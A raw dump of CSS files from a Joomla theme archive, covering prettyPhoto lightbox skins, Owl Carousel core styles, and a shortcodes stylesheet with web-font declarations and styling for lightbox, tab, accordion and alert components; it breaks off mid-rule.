div.light_square .pp_nav .pp_pause{background:url(../images/prettyPhoto/light_square/sprite.png) -24px -100px no-repeat;height:15px;width:14px}
div.light_square .pp_arrow_previous{background:url(../images/prettyPhoto/light_square/sprite.png) 0 -71px no-repeat}
div.light_square .pp_arrow_next{background:url(../images/prettyPhoto/light_square/sprite.png) -22px -71px no-repeat}
div.light_square .pp_next:hover{background:url(../images/prettyPhoto/light_square/btnNext.png) center right no-repeat;cursor:pointer}
div.light_square .pp_previous:hover{background:url(../images/prettyPhoto/light_square/btnPrevious.png) center left no-repeat;cursor:pointer}
div.facebook .pp_top .pp_left{background:url(../images/prettyPhoto/facebook/sprite.png) -88px -53px no-repeat}
div.facebook .pp_top .pp_middle{background:url(../images/prettyPhoto/facebook/contentPatternTop.png) top left repeat-x}
div.facebook .pp_top .pp_right{background:url(../images/prettyPhoto/facebook/sprite.png) -110px -53px no-repeat}
div.facebook .pp_content_container .pp_left{background:url(../images/prettyPhoto/facebook/contentPatternLeft.png) top left repeat-y}
div.facebook .pp_content_container .pp_right{background:url(../images/prettyPhoto/facebook/contentPatternRight.png) top right repeat-y}
div.facebook .pp_expand{background:url(../images/prettyPhoto/facebook/sprite.png) -31px -26px no-repeat;cursor:pointer}
div.facebook .pp_expand:hover{background:url(../images/prettyPhoto/facebook/sprite.png) -31px -47px no-repeat;cursor:pointer}
div.facebook .pp_contract{background:url(../images/prettyPhoto/facebook/sprite.png) 0 -26px no-repeat;cursor:pointer}
div.facebook .pp_contract:hover{background:url(../images/prettyPhoto/facebook/sprite.png) 0 -47px no-repeat;cursor:pointer}
div.facebook .pp_close{width:22px;height:22px;background:url(../images/prettyPhoto/facebook/sprite.png) -1px -1px no-repeat;cursor:pointer}
div.facebook .pp_description{margin:0 37px 0 0}
div.facebook .pp_loaderIcon{background:url(../images/prettyPhoto/facebook/loader.gif) center center no-repeat}
div.facebook .pp_arrow_previous{background:url(../images/prettyPhoto/facebook/sprite.png) 0 -71px no-repeat;height:22px;margin-top:0;width:22px}
div.facebook .pp_arrow_previous.disabled{background-position:0 -96px;cursor:default}
div.facebook .pp_arrow_next{background:url(../images/prettyPhoto/facebook/sprite.png) -32px -71px no-repeat;height:22px;margin-top:0;width:22px}
div.facebook .pp_arrow_next.disabled{background-position:-32px -96px;cursor:default}
div.facebook .pp_nav{margin-top:0}
div.facebook .pp_nav p{font-size:15px;padding:0 3px 0 4px}
div.facebook .pp_nav .pp_play{background:url(../images/prettyPhoto/facebook/sprite.png) -1px -123px no-repeat;height:22px;width:22px}
div.facebook .pp_nav .pp_pause{background:url(../images/prettyPhoto/facebook/sprite.png) -32px -123px no-repeat;height:22px;width:22px}
div.facebook .pp_next:hover{background:url(../images/prettyPhoto/facebook/btnNext.png) center right no-repeat;cursor:pointer}
div.facebook .pp_previous:hover{background:url(../images/prettyPhoto/facebook/btnPrevious.png) center left no-repeat;cursor:pointer}
div.facebook .pp_bottom .pp_left{background:url(../images/prettyPhoto/facebook/sprite.png) -88px -80px no-repeat}
div.facebook .pp_bottom .pp_middle{background:url(../images/prettyPhoto/facebook/contentPatternBottom.png) top left repeat-x}
div.facebook .pp_bottom .pp_right{background:url(../images/prettyPhoto/facebook/sprite.png) -110px -80px no-repeat}
div.pp_pic_holder a:focus{outline:none}
div.pp_overlay{background:#000;display:none;left:0;position:absolute;top:0;width:100%;z-index:9500}
div.pp_pic_holder{display:none;position:absolute;width:100px;z-index:10000}
.pp_content{height:40px;min-width:40px}
* html .pp_content{width:40px}
.pp_content_container{position:relative;text-align:left;width:100%;}
#fullResImage{

    -moz-box-shadow: -1px 2px 11px #000000;
    -webkit-box-shadow: -1px 2px 11px #000000;
    box-shadow: -1px 2px 11px #000000;



}
.pp_content_container .pp_left{padding-left:20px}
.pp_content_container .pp_right{padding-right:20px}
.pp_content_container .pp_details{float:left;margin:10px 0 2px}
.pp_description{display:none;margin:0}
.pp_social{float:left;margin:0}
.pp_social .facebook{float:left;margin-left:5px;width:55px;overflow:hidden}
.pp_social .twitter{float:left}
.pp_nav{clear:right;float:left;margin:3px 10px 0 0}
.pp_nav p{float:left;white-space:nowrap;margin:2px 4px}
.pp_nav .pp_play,.pp_nav .pp_pause{float:left;margin-right:4px;text-indent:-10000px}
a.pp_arrow_previous,a.pp_arrow_next{display:block;float:left;height:15px;margin-top:3px;overflow:hidden;text-indent:-10000px;width:14px}
.pp_hoverContainer{position:absolute;top:0;width:100%;z-index:2000}
.pp_gallery{display:none;left:50%;margin-top:-50px;position:absolute;z-index:10000}
.pp_gallery div{float:left;overflow:hidden;position:relative}
.pp_gallery ul{float:left;height:35px;position:relative;white-space:nowrap;margin:0 0 0 5px;padding:0}
.pp_gallery ul a{border:1px rgba(0,0,0,0.5) solid;display:block;float:left;height:33px;overflow:hidden}
.pp_gallery ul a img{border:0}
.pp_gallery li{display:block;float:left;margin:0 5px 0 0;padding:0}
.pp_gallery li.default a{background:url(../images/prettyPhoto/facebook/default_thumbnail.gif) 0 0 no-repeat;display:block;height:33px;width:50px}
.pp_gallery .pp_arrow_previous,.pp_gallery .pp_arrow_next{margin-top:7px!important}
a.pp_next{background:url(../images/prettyPhoto/light_rounded/btnNext.png) 10000px 10000px no-repeat;display:block;float:right;height:100%;text-indent:-10000px;width:49%}
a.pp_previous{background:url(../images/prettyPhoto/light_rounded/btnNext.png) 10000px 10000px no-repeat;display:block;float:left;height:100%;text-indent:-10000px;width:49%}
a.pp_expand,a.pp_contract{cursor:pointer;display:none;height:50px;position:absolute;right:30px;text-indent:-10000px;top:10px;width:50px;z-index:20000}
a.pp_close{position:absolute;right:0;top:0;display:block;line-height:22px;text-indent:-10000px}
.pp_loaderIcon{display:block;height:24px;left:50%;position:absolute;top:50%;width:24px;margin:-12px 0 0 -12px}
#pp_full_res{line-height:1!important}
#pp_full_res .pp_inline{text-align:left}
#pp_full_res .pp_inline p{margin:0 0 15px}
div.ppt{color:#fff;display:none;font-size:17px;z-index:9999;margin:0 0 5px 15px}
div.pp_default .pp_content,div.light_rounded .pp_content{background-color:#fff}
div.pp_default #pp_full_res .pp_inline,div.light_rounded .pp_content .ppt,div.light_rounded #pp_full_res .pp_inline,div.light_square .pp_content .ppt,div.light_square #pp_full_res .pp_inline,div.facebook .pp_content .ppt,div.facebook #pp_full_res .pp_inline{color:#000}
div.pp_default .pp_gallery ul li a:hover,div.pp_default .pp_gallery ul li.selected a,.pp_gallery ul a:hover,.pp_gallery li.selected a{border-color:#fff}
div.pp_default .pp_details,div.light_rounded .pp_details,div.dark_rounded .pp_details,div.dark_square .pp_details,div.light_square .pp_details,div.facebook .pp_details{position:relative}
div.light_rounded .pp_top .pp_middle,div.light_rounded .pp_content_container .pp_left,div.light_rounded .pp_content_container .pp_right,div.light_rounded .pp_bottom .pp_middle,div.light_square .pp_left,div.light_square .pp_middle,div.light_square .pp_right,div.light_square .pp_content,div.facebook .pp_content{background:#fff}
div.light_rounded .pp_description,div.light_square .pp_description{margin-right:85px}
div.light_rounded .pp_gallery a.pp_arrow_previous,div.light_rounded .pp_gallery a.pp_arrow_next,div.dark_rounded .pp_gallery a.pp_arrow_previous,div.dark_rounded .pp_gallery a.pp_arrow_next,div.dark_square .pp_gallery a.pp_arrow_previous,div.dark_square .pp_gallery a.pp_arrow_next,div.light_square .pp_gallery a.pp_arrow_previous,div.light_square .pp_gallery a.pp_arrow_next{margin-top:12px!important}
div.light_rounded .pp_arrow_previous.disabled,div.dark_rounded .pp_arrow_previous.disabled,div.dark_square .pp_arrow_previous.disabled,div.light_square .pp_arrow_previous.disabled{background-position:0 -87px;cursor:default}
div.light_rounded .pp_arrow_next.disabled,div.dark_rounded .pp_arrow_next.disabled,div.dark_square .pp_arrow_next.disabled,div.light_square .pp_arrow_next.disabled{background-position:-22px -87px;cursor:default}
div.light_rounded .pp_loaderIcon,div.light_square .pp_loaderIcon{background:url(../images/prettyPhoto/light_rounded/loader.gif) center center no-repeat}
div.dark_rounded .pp_top .pp_middle,div.dark_rounded .pp_content,div.dark_rounded .pp_bottom .pp_middle{background:url(../images/prettyPhoto/dark_rounded/contentPattern.png) top left repeat}
div.dark_rounded .currentTextHolder,div.dark_square .currentTextHolder{color:#c4c4c4}
div.dark_rounded #pp_full_res .pp_inline,div.dark_square #pp_full_res .pp_inline{color:#fff}
.pp_top,.pp_bottom{height:20px;position:relative}
* html .pp_top,* html .pp_bottom{padding:0 20px}
.pp_top .pp_left,.pp_bottom .pp_left{height:20px;left:0;position:absolute;width:20px}
.pp_top .pp_middle,.pp_bottom .pp_middle{height:20px;left:20px;position:absolute;right:20px}
* html .pp_top .pp_middle,* html .pp_bottom .pp_middle{left:0;position:static}
.pp_top .pp_right,.pp_bottom .pp_right{height:20px;left:auto;position:absolute;right:0;top:0;width:20px}
.pp_fade,.pp_gallery li.default a img{display:none}PK!�i����%bluetheme/assets/css/owl.carousel.cssnu&1i�/* 
 * 	Core Owl Carousel CSS File
 *	v1.3.3
 */

/* clearfix */
.owl-carousel .owl-wrapper:after {
	content: ".";
	display: block;
	clear: both;
	visibility: hidden;
	line-height: 0;
	height: 0;
}
/* display none until init */
.owl-carousel{
	display: none;
	position: relative;
	width: 100%;
	-ms-touch-action: pan-y;
}
.owl-carousel .owl-wrapper{
	display: none;
	position: relative;
	-webkit-transform: translate3d(0px, 0px, 0px);
}
.owl-carousel .owl-wrapper-outer{
	overflow: hidden;
	position: relative;
	width: 100%;
}
.owl-carousel .owl-wrapper-outer.autoHeight{
	-webkit-transition: height 500ms ease-in-out;
	-moz-transition: height 500ms ease-in-out;
	-ms-transition: height 500ms ease-in-out;
	-o-transition: height 500ms ease-in-out;
	transition: height 500ms ease-in-out;
}
	
.owl-carousel .owl-item{
	float: left;
}
.owl-controls .owl-page,
.owl-controls .owl-buttons div{
	cursor: pointer;
}
.owl-controls {
	-webkit-user-select: none;
	-khtml-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
	-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}

/* mouse grab icon */
.grabbing { 
    cursor:url(grabbing.png) 8 8, move;
}

/* fix */
.owl-carousel  .owl-wrapper,
.owl-carousel  .owl-item{
	-webkit-backface-visibility: hidden;
	-moz-backface-visibility:    hidden;
	-ms-backface-visibility:     hidden;
  -webkit-transform: translate3d(0,0,0);
  -moz-transform: translate3d(0,0,0);
  -ms-transform: translate3d(0,0,0);
}

PK!JvX�~�~#bluetheme/assets/css/shortcodes.cssnu&1i�/**
 * @package Shortcodes for Joomla! 3
 * @author http://www.shinetheme.com
 * @copyright(C) 2013- shinetheme.com
 * @license PHP files are GNU/GPL
**/

/*         FONT FACE  */

@font-face {
  font-family: 'Allan';
  font-style: normal;
  font-weight: 400;
  src: local('Allan'), local('Allan-Regular'), url(http://themes.googleusercontent.com/static/fonts/allan/v4/5aqh4PlcZKVdCD6zaeSMnQ.woff) format('woff');
}
@font-face {
  font-family: 'Cardo';
  font-style: normal;
  font-weight: 400;
  src: local('Cardo'), local('Cardo-Regular'), url(http://themes.googleusercontent.com/static/fonts/cardo/v5/zpisC4kGu76S5N9VhpMnEg.woff) format('woff');
}
@font-face {
  font-family: 'Chivo';
  font-style: normal;
  font-weight: 400;
  src: local('Chivo'), local('Chivo-Regular'), url(http://themes.googleusercontent.com/static/fonts/chivo/v4/2vOGounxqJdQZmH7ou5HpA.woff) format('woff');
}
@font-face {
  font-family: 'Courgette';
  font-style: normal;
  font-weight: 400;
  src: local('Courgette Regular'), local('Courgette-Regular'), url(http://themes.googleusercontent.com/static/fonts/courgette/v1/BHG8ZtTfO0yYnp02--Qxqj8E0i7KZn-EPnyo3HZu7kw.woff) format('woff');
}
@font-face {
  font-family: 'Dancing Script';
  font-style: normal;
  font-weight: 400;
  src: local('Dancing Script'), local('DancingScript'), url(http://themes.googleusercontent.com/static/fonts/dancingscript/v3/DK0eTGXiZjN6yA8zAEyM2VhlQWQpSCpzb2Peu3I-Q34.woff) format('woff');
}
@font-face {
  font-family: 'Droid Sans';
  font-style: normal;
  font-weight: 400;
  src: local('Droid Sans'), local('DroidSans'), url(http://themes.googleusercontent.com/static/fonts/droidsans/v3/s-BiyweUPV0v-yRb-cjciBsxEYwM7FgeyaSgU71cLG0.woff) format('woff');
}
@font-face {
  font-family: 'Droid Sans';
  font-style: normal;
  font-weight: 700;
  src: local('Droid Sans Bold'), local('DroidSans-Bold'), url(http://themes.googleusercontent.com/static/fonts/droidsans/v3/EFpQQyG9GqCrobXxL-KRMQFhaRv2pGgT5Kf0An0s4MM.woff) format('woff');
}
@font-face {
  font-family: 'Droid Serif';
  font-style: normal;
  font-weight: 400;
  src: local('Droid Serif'), local('DroidSerif'), url(http://themes.googleusercontent.com/static/fonts/droidserif/v3/0AKsP294HTD-nvJgucYTaIbN6UDyHWBl620a-IRfuBk.woff) format('woff');
}
@font-face {
  font-family: 'Droid Serif';
  font-style: italic;
  font-weight: 400;
  src: local('Droid Serif Italic'), local('DroidSerif-Italic'), url(http://themes.googleusercontent.com/static/fonts/droidserif/v3/cj2hUnSRBhwmSPr9kS5899kZXW4sYc4BjuAIFc1SXII.woff) format('woff');
}
@font-face {
  font-family: 'Lato';
  font-style: normal;
  font-weight: 400;
  src: local('Lato Regular'), local('Lato-Regular'), url(http://themes.googleusercontent.com/static/fonts/lato/v6/9k-RPmcnxYEPm8CNFsH2gg.woff) format('woff');
}
@font-face {
  font-family: 'Lato';
  font-style: normal;
  font-weight: 700;
  src: local('Lato Bold'), local('Lato-Bold'), url(http://themes.googleusercontent.com/static/fonts/lato/v6/wkfQbvfT_02e2IWO3yYueQ.woff) format('woff');
}
@font-face {
  font-family: 'Lato';
  font-style: italic;
  font-weight: 400;
  src: local('Lato Italic'), local('Lato-Italic'), url(http://themes.googleusercontent.com/static/fonts/lato/v6/oUan5VrEkpzIazlUe5ieaA.woff) format('woff');
}
@font-face {
  font-family: 'Lobster';
  font-style: normal;
  font-weight: 400;
  src: local('Lobster'), url(http://themes.googleusercontent.com/static/fonts/lobster/v5/MWVf-Rwh4GLQVBEwbyI61Q.woff) format('woff');
}
@font-face {
  font-family: 'Lobster Two';
  font-style: normal;
  font-weight: 400;
  src: local('Lobster Two'), local('LobsterTwo'), url(http://themes.googleusercontent.com/static/fonts/lobstertwo/v4/Law3VVulBOoxyKPkrNsAaIbN6UDyHWBl620a-IRfuBk.woff) format('woff');
}
@font-face {
  font-family: 'Mako';
  font-style: normal;
  font-weight: 400;
  src: local('Mako'), url(http://themes.googleusercontent.com/static/fonts/mako/v4/o_a1a_7ly-bxb26LESxgxQ.woff) format('woff');
}
@font-face {
  font-family: 'Merienda';
  font-style: normal;
  font-weight: 400;
  src: local('Merienda'), local('Merienda-Regular_0_wt'), url(http://themes.googleusercontent.com/static/fonts/merienda/v1/4NYVQDcgs3Fbi_xdFMC7lPesZW2xOQ-xsNqO47m55DA.woff) format('woff');
}
@font-face {
  font-family: 'Miniver';
  font-style: normal;
  font-weight: 400;
  src: local('Miniver'), url(http://themes.googleusercontent.com/static/fonts/miniver/v2/bkOWpAf9z_OvZFh5_5iAfA.woff) format('woff');
}
@font-face {
  font-family: 'Oxygen';
  font-style: normal;
  font-weight: 400;
  src: local('Oxygen'), local('Oxygen-Regular'), url(http://themes.googleusercontent.com/static/fonts/oxygen/v2/RzoNiRR1p2Mqyyz2RwqSMw.woff) format('woff');
}
@font-face {
  font-family: 'PT Sans';
  font-style: normal;
  font-weight: 400;
  src: local('PT Sans'), local('PTSans-Regular'), url(http://themes.googleusercontent.com/static/fonts/ptsans/v5/LKf8nhXsWg5ybwEGXk8UBQ.woff) format('woff');
}
@font-face {
  font-family: 'Roboto Slab';
  font-style: normal;
  font-weight: 300;
  src: local('Roboto Slab Light'), local('RobotoSlab-Light'), url(http://themes.googleusercontent.com/static/fonts/robotoslab/v2/dazS1PrQQuCxC3iOAJFEJR_xHqYgAV9Bl_ZQbYUxnQU.woff) format('woff');
}
@font-face {
  font-family: 'Roboto Slab';
  font-style: normal;
  font-weight: 400;
  src: local('Roboto Slab Regular'), local('RobotoSlab-Regular'), url(http://themes.googleusercontent.com/static/fonts/robotoslab/v2/y7lebkjgREBJK96VQi37ZobN6UDyHWBl620a-IRfuBk.woff) format('woff');
}
@font-face {
  font-family: 'Roboto Slab';
  font-style: normal;
  font-weight: 700;
  src: local('Roboto Slab Bold'), local('RobotoSlab-Bold'), url(http://themes.googleusercontent.com/static/fonts/robotoslab/v2/dazS1PrQQuCxC3iOAJFEJTqR_3kx9_hJXbbyU8S6IN0.woff) format('woff');
}
@font-face {
  font-family: 'Ubuntu';
  font-style: normal;
  font-weight: 400;
  src: local('Ubuntu'), url(http://themes.googleusercontent.com/static/fonts/ubuntu/v4/_xyN3apAT_yRRDeqB3sPRg.woff) format('woff');
}
@font-face {
  font-family: 'Vollkorn';
  font-style: normal;
  font-weight: 400;
  src: local('Vollkorn Regular'), local('Vollkorn-Regular'), url(http://themes.googleusercontent.com/static/fonts/vollkorn/v3/BCFBp4rt5gxxFrX6F12DKvesZW2xOQ-xsNqO47m55DA.woff) format('woff');
}


/*               End Font Face                 */

/*  stbox  */
/*! stbox v2.1.5 fancyapps.com | fancyapps.com/stbox/#license */
.stbox-wrap,
.stbox-skin,
.stbox-outer,
.stbox-inner,
.stbox-image,
.stbox-wrap iframe,
.stbox-wrap object,
.stbox-nav,
.stbox-nav span,
.stbox-tmp
{
	padding: 0;
	margin: 0;
	border: 0;
	outline: none;
	vertical-align: top;
}

.stbox-wrap {
	position: absolute;
	top: 0;
	left: 0;
	z-index: 8020;
}

.stbox-skin {
	position: relative;
	background: #f9f9f9;
	color: #444;
	text-shadow: none;
}

.stbox-opened {
	z-index: 8030;
}

.stbox-opened .stbox-skin {
	-webkit-box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5);
	   -moz-box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5);
	        box-shadow: 0 10px 25px rgba(0, 0, 0, 0.5);
}

.stbox-outer, .stbox-inner {
	position: relative;
}

.stbox-inner {
	overflow: hidden;
}

.stbox-type-iframe .stbox-inner {
	-webkit-overflow-scrolling: touch;
}

.stbox-error {
	color: #444;
	font: 14px/20px "Helvetica Neue",Helvetica,Arial,sans-serif;
	margin: 0;
	padding: 15px;
	white-space: nowrap;
}

.stbox-image, .stbox-iframe {
	display: block;
	width: 100%;
	height: 100%;
}

.stbox-image {
	max-width: 100%;
	max-height: 100%;
}

#stbox-loading{
	background-image: url('../images/stbox_sprite.png');
}

#stbox-loading {
	position: fixed;
	top: 40%;
	left: 50%;
	margin-top: -22px;
	margin-left: -22px;
	background-position: 0 -108px;
	opacity: 0.8;
	cursor: pointer;
	z-index: 8060;
}

#stbox-loading div {
	width: 120px;
	height: 120px;
	background: url('../images/stbox_loading.gif') center center no-repeat;
}

.stbox-close {
	position: absolute;
	top: -4px;
	right: -22px;
	width: 25px;
	height: 25px;
	cursor: pointer;
	text-decoration: none!important;
	z-index: 8040;
}
.stbox-close .icon-cross-2{
	color:#bdbdbd;
	font-size:25px;
}

.stbox-nav {
	position: absolute;
	top: 0;
	width: 40%;
	height: 100%;
	cursor: pointer;
	text-decoration: none;
	background: transparent url('../images/blank.gif'); /* helps IE */
	-webkit-tap-highlight-color: rgba(0,0,0,0);
	z-index: 8040;
}

.stbox-prev {
	left: 0;
}

.stbox-next {
	right: 0;
}

.stbox-nav span {
	position: absolute;
	top: 50%;
	width: 36px;
	height: 34px;
	margin-top: -18px;
	cursor: pointer;
	z-index: 8040;
	visibility: hidden;
}

.stbox-prev .icon-arrow-left-7 {
	position: absolute;
	font-size: 60px;
	left: 0;
	color:#fff;
	top:45%;
	visibility: hidden;
	text-shadow: 0px 0px 18px #3d3c3d;
    filter: dropshadow(color=#3d3c3d, offx=0, offy=0);
}

.stbox-next .icon-untitled {
	position: absolute;
	font-size: 60px;
	right: 0;
	color:#fff;
	top:45%;
	visibility: hidden;
	text-shadow: 0px 0px 18px #3d3c3d;
    filter: dropshadow(color=#3d3c3d, offx=0, offy=0);
}

.stbox-nav:hover span,.stbox-nav:hover [class^="icon-"]{
	visibility: visible;
}

.stbox-tmp {
	position: absolute;
	top: -99999px;
	left: -99999px;
	visibility: hidden;
	max-width: 99999px;
	max-height: 99999px;
	overflow: visible !important;
}

/* Overlay helper */

.stbox-lock {
    overflow: hidden !important;
    width: auto;
}

.stbox-lock body {
    overflow: hidden !important;
}

.stbox-lock-test {
    overflow-y: hidden !important;
}

.stbox-overlay {
	position: absolute;
	top: 0;
	left: 0;
	overflow: hidden;
	display: none;
	z-index: 8010;
	background: url('../images/stbox_overlay.png');
}

.stbox-overlay-fixed {
	position: fixed;
	bottom: 0;
	right: 0;
}

.stbox-lock .stbox-overlay {
	overflow: auto;
	overflow-y: scroll;
}

/* Title helper */

.stbox-title {
	visibility: hidden;
	font: normal 13px/20px "Helvetica Neue",Helvetica,Arial,sans-serif;
	position: relative;
	text-shadow: none;
	z-index: 8050;
}

.stbox-opened .stbox-title {
	visibility: visible;
	text-align: center;
}

.stbox-title-float-wrap {
	position: absolute;
	bottom: 0;
	right: 50%;
	margin-bottom: -35px;
	z-index: 8050;
	text-align: center;
}

.stbox-title-float-wrap .child {
	display: inline-block;
	margin-right: -100%;
	padding: 2px 20px;
	background: transparent; /* Fallback for web browsers that doesn't support RGBa */
	background: rgba(0, 0, 0, 0.8);
	-webkit-border-radius: 15px;
	   -moz-border-radius: 15px;
	        border-radius: 15px;
	text-shadow: 0 1px 2px #222;
	color: #FFF;
	font-weight: bold;
	line-height: 24px;
	white-space: nowrap;
}

.stbox-title-outside-wrap {
	position: relative;
	margin-top: 10px;
	color: #fff;
}

.stbox-title-inside-wrap {
	padding-top: 10px;
}

.stbox-title-over-wrap {
	position: absolute;
	bottom: 0;
	left: 0;
	color: #fff;
	padding: 10px;
	background: #000;
	background: rgba(0, 0, 0, .8);
}

/*Retina graphics!*/
@media only screen and (-webkit-min-device-pixel-ratio: 1.5),
	   only screen and (min--moz-device-pixel-ratio: 1.5),
	   only screen and (min-device-pixel-ratio: 1.5){

	#stbox-loading{
		background-image: url('../images/stbox_loading.png');
		background-size: 44px 152px; /*The size of the normal image, half the size of the hi-res image*/
	}

	#stbox-loading div {
		background-image: url('../images/stbox_loading.gif');
		background-size: 24px 24px; /*The size of the normal image, half the size of the hi-res image*/
	}
}

/* stbox button */
#stbox-buttons {
	position: fixed;
	left: 0;
	top:200px;
	width: 100%;
	z-index: 8050;
}

#stbox-buttons.top {
	top: 10px;
}

#stbox-buttons.bottom {
	bottom: 10px;
	top:auto;
}

#stbox-buttons .stbox-navigation {
	display: block;
	width: 440px;
	height: 30px;
	margin: 0 auto;
	padding: 0;
	text-align: center;
	list-style: none;
	background: #080808;
	position: relative;
	-webkit-border-radius: 500px;
	-moz-border-radius: 500px;
	border-radius: 500px;
}

@media (max-width: 441px) {
	#stbox-buttons .stbox-navigation{
		width: 95%;
	}
}
#stbox-buttons a {
	color: #fff;
	padding: 3px;
	font-size: 20px;
	display: inline-block;
	background-color: transparent;
	background-repeat: no-repeat;
	outline: none;
	opacity: 0.8;
}
#stbox-buttons .btnClose{
	position: absolute;
	right: 10px;
	font-size: 15px;
}
#stbox-buttons .btnToggle{
	position: absolute;
	left: 10px;
	font-size: 15px;
}
#stbox-buttons a:hover {
	opacity: 1;
}

#stbox-buttons a.btnDisabled {
	opacity : 0.4;
	cursor: default;
}





a.pointer{
    font-size: 100%!important;
}

.btn-toolbar{
font-size: 100%;
}

iframe{
	border: 0;
}



.image,.st-item-gallery{
	overflow: hidden;
	position:relative;
}
.stmark{
  background: #000 url(../images/hover.gif) no-repeat center center;
  position: absolute;
  top: 100%;
  left: 0;
  right: 0;
  bottom: 0;
  opacity: 0.6;
  -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=60)";
  filter: alpha(opacity=60);
  -webkit-transition: top 0.4s ease;
	-moz-transition: top 0.4s ease;
	-o-transition: top 0.4s ease;
	transition: top 0.4s ease;
}
.stmodal:hover .stmark,
.stgallery:hover .stmark{
  top:0;
}
.stborder-images{
	width: 90%;
}


/* Blockquote */
.st-blockquote-center {
	border:1px solid #e1e1e1;
	border-left: 3px solid #006aa1;
	padding: 20px 30px;
}
.st-blockquote-left {
	border:1px solid #e1e1e1;
	border-left: 3px solid #006aa1;
	padding: 20px 30px;
	float:left;
	width: 35%;
	margin-right: 10px;
}
.st-blockquote-right {
	border:1px solid #e1e1e1;
	border-left: 3px solid #006aa1;
	padding: 20px 30px;
	float:right;
	width: 35%;
	margin-left: 10px;
}

/* Testimonial  */
.st-testimonial .icon-quote-left.pull-left {
	background: #006aa1;
	padding: 15px !important;
	font-size:40px!important;
	color: #fff !important;
}
.st-testimonial .st-testimonial-ct{
	padding:0px 75px;
}
.st-testimonial .st-testimonial-author{
	text-align: right;
	padding-top: 15px;
	padding-right:80px;
}
.st-testimonial .st-testimonial-author .st-author-name{
	font-weight: bold;
}

/* Accordion  */
.accordion .accordion-heading a.active{
	color:#fff;
	background: #006aa1 url('../images/active.png') no-repeat left center;
}
.accordion .accordion-group{
	margin-bottom: 15px;
}
.accordion .accordion-heading a{
	color:#fff;
	padding-left: 30px;
	background: #000 url('../images/bigger.png') no-repeat left center;
	text-decoration: none;
}
.accordion-body{
	background: #f7f7f7;
	background: -moz-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: -webkit-gradient(linear,left top,left bottom,color-stop(0%,#f7f7f7),color-stop(45%,#fcfcfc),color-stop(55%,#fcfcfc),color-stop(100%,#f7f7f7));
	background: -webkit-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: -o-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: -ms-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: linear-gradient(to bottom,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#f7f7f7',endColorstr='#f7f7f7',GradientType=0);
}

/* Tabs */
#st_tabst li a {
	font-size: 14px;
	border: 0;
	background: #1f1f1e;
	color: #fff;
	-webkit-transition: background 0.4s;
	-moz-transition: background 0.4s;
	-o-transition: background 0.4s;
	transition: background 0.4s;
}
#st_tabst li.active a {
	background: #006aa1;
}
#st_tabst li {
	text-align: center;
}
#st_tabst li a:hover {
background: #006aa1;
}
.tabbable.tabs-left li a {
	-webkit-border-top-left-radius: 2px;
	-moz-border-radius-topleft: 2px;
	border-top-left-radius: 2px;
	-webkit-border-bottom-left-radius: 2px;
	-moz-border-radius-bottomleft: 2px;
	border-bottom-left-radius: 2px;
}
.tabbable.tabs-left li a, .tabbable.tabs-right li a {
	padding: 7px 10px;
}
.tabbable.tabs-left li, .tabbable.tabs-right li {
	width: 150px;
	margin-top: 10px;
}
#st_tabst{
  border:0;
  margin:0;
}
.tab-content{
  	border: 1px solid #eee;
	background: #f7f7f7;
	background: -moz-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: -webkit-gradient(linear,left top,left bottom,color-stop(0%,#f7f7f7),color-stop(45%,#fcfcfc),color-stop(55%,#fcfcfc),color-stop(100%,#f7f7f7));
	background: -webkit-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: -o-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: -ms-linear-gradient(top,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	background: linear-gradient(to bottom,#f7f7f7 0%,#fcfcfc 45%,#fcfcfc 55%,#f7f7f7 100%);
	filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#f7f7f7',endColorstr='#f7f7f7',GradientType=0);
}
 .tab-content .tab-pane-ct{
    padding:10px;
  }

.tabbable.tabs-below li,.tabbable.tabs-top li{
    margin-right: 10px;
}
.tabbable.tabs-below li a,.tabbable.tabs-top li a{
     padding:10px;
   }
.tabbable.tabs-below li a{
    -webkit-border-bottom-right-radius: 2px;
	-moz-border-radius-topright: 2px;
	border-bottom-right-radius: 2px;
	-webkit-border-bottom-left-radius: 2px;
	-moz-border-radius-topleft: 2px;
	border-bottom-left-radius: 2px;
}
.tabbable.tabs-top li a{
    -webkit-border-top-right-radius: 2px;
	-moz-border-radius-topright: 2px;
	border-top-right-radius: 2px;
	-webkit-border-top-left-radius: 2px;
	-moz-border-radius-topleft: 2px;
	border-top-left-radius: 2px;
  }
.tabbable.tabs-left  li a{
    webkit-border-top-left-radius: 2px;
	-moz-border-radius-topleft: 2px;
	border-top-left-radius: 2px;
	-webkit-border-bottom-left-radius: 2px;
	-moz-border-radius-bottomleft: 2px;
	border-bottom-left-radius: 2px;
  }

.tabbable.tabs-right  li a{
	webkit-border-top-right-radius: 2px;
	-moz-border-radius-topright: 2px;
	border-top-right-radius: 2px;
	-webkit-border-bottom-right-radius: 2px;
	-moz-border-radius-bottomright: 2px;
	border-bottom-right-radius: 2px;
}

/* Alert */
.alert{
	-webkit-border-radius: 0px;
	-moz-border-radius: 0px;
	border-radius: 0px;
	text-shadow:none;
	font-style: 14px;
	line-height: 24px;
	position: relative;
	padding: 20px 35px 20px 100px;
	min-height: 50px;
}
.alert .alert-ico{
	font-size: 50px;
	background: transparent;
	position: absolute;
	top:20px;
	left: 25px;
}
.alert .alert-ico.icon-exclamation-sign{
	font-size: 58px;
}
.alert button{
	-webkit-box-shadow: none;
	-moz-box-shadow: none;
